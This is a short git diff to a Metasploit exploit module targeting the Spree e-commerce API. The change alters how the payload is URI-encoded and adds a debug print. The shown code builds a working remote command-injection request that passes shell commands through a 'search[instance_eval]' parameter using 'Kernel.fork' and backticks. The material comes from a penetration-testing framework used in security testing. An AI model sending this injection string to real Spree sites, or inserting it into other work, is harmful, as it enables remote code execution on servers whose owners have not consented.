diff --git a/modules/exploits/multi/http/spree_searchlogic_exec.rb b/modules/exploits/multi/http/spree_searchlogic_exec.rb index 9ef8a06d50..dd0ca9e310 100644 --- a/modules/exploits/multi/http/spree_searchlogic_exec.rb +++ b/modules/exploits/multi/http/spree_searchlogic_exec.rb @@ -59,7 +59,10 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - command = Rex::Text.uri_encode(payload.encoded) + command = Rex::Text.uri_encode(payload.raw, 'hex-all') + + puts command + urlconfigdir = datastore['URI'] + "api/orders.json?search[instance_eval]=Kernel.fork%20do%60#{command}%60end" res = send_request_raw({ 'uri' => urlconfigdir,